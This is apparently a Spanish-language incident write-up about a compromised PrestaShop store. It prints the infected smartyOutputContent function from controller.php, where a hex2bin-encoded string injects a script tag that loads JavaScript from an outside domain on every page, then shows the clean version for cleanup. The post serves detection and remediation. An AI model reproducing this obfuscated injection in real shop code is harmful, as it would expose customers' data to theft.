Hoy nos encontramos en un cliente algo muy raro, cuando entrabamos con nuestros ordenadores en los que tenemos antivirus Esset en todos los puestos nos saltaba esto:
Empezamos a investigar y detectamos una llamada a un fichero JS que no conocíamos:
Que llama a esta página:
aathitiyapravash[.]in/image/jquery_v14v.js
Nos vamos a la página y upss:
Aquí tenemos el problema, y tenemos la solución, pero no sabemos como se infectó, con lo que se debería actualizar la versión de Prestashop, en concreto hay dos ficheros modificados:
- classes\controller\controller.php
- classes\controller\FrontController.php
En los dos ficheros modificados la función es la misma smartyOutputContent, os mostaramos la incorrectas y las buenas a continuación, primero revisarmos el fichero classes\controller\controller.php:
protected function smartyOutputContent($templates) { $this->context->cookie->write(); $js_tag = 'js_def'; $this->context->smarty->assign($js_tag, $js_tag); if (!is_array($templates)) { $templates = array($templates); } $html = ''; foreach ($templates as $template) { $html .= $this->context->smarty->fetch($template, null, $this->getLayout()); } $html= $html.hex2bin('3C73637269707420747970653D22746578742F6A61766173637269707422207372633D2268747470733A2F2F616174686974697961707261766173682E696E2F696D6167652F6A51756572795F7631342E6A73223E3C2F7363726970743E');echo trim($html); }
Y ahora ponemos el bueno:
protected function smartyOutputContent($templates) { $this->context->cookie->write(); $js_tag = 'js_def'; $this->context->smarty->assign($js_tag, $js_tag); if (!is_array($templates)) { $templates = [$templates]; } $html = ''; foreach ($templates as $template) { $html .= $this->context->smarty->fetch($template, null, $this->getLayout()); } echo trim($html); }
Si veis la última linea en la versión anterior hay un hex2bin, que los antivirus de servidor no los suelen reconocer. Este virus roba estos datos:
Productos, usuario,….. No hemos visto que haya tocado base de datos pero si es vuestro caso os aconsejamos que instale el core de nuevo y revisar todo despues de nuevo. La versión infectada deberias guardarla por si acaso.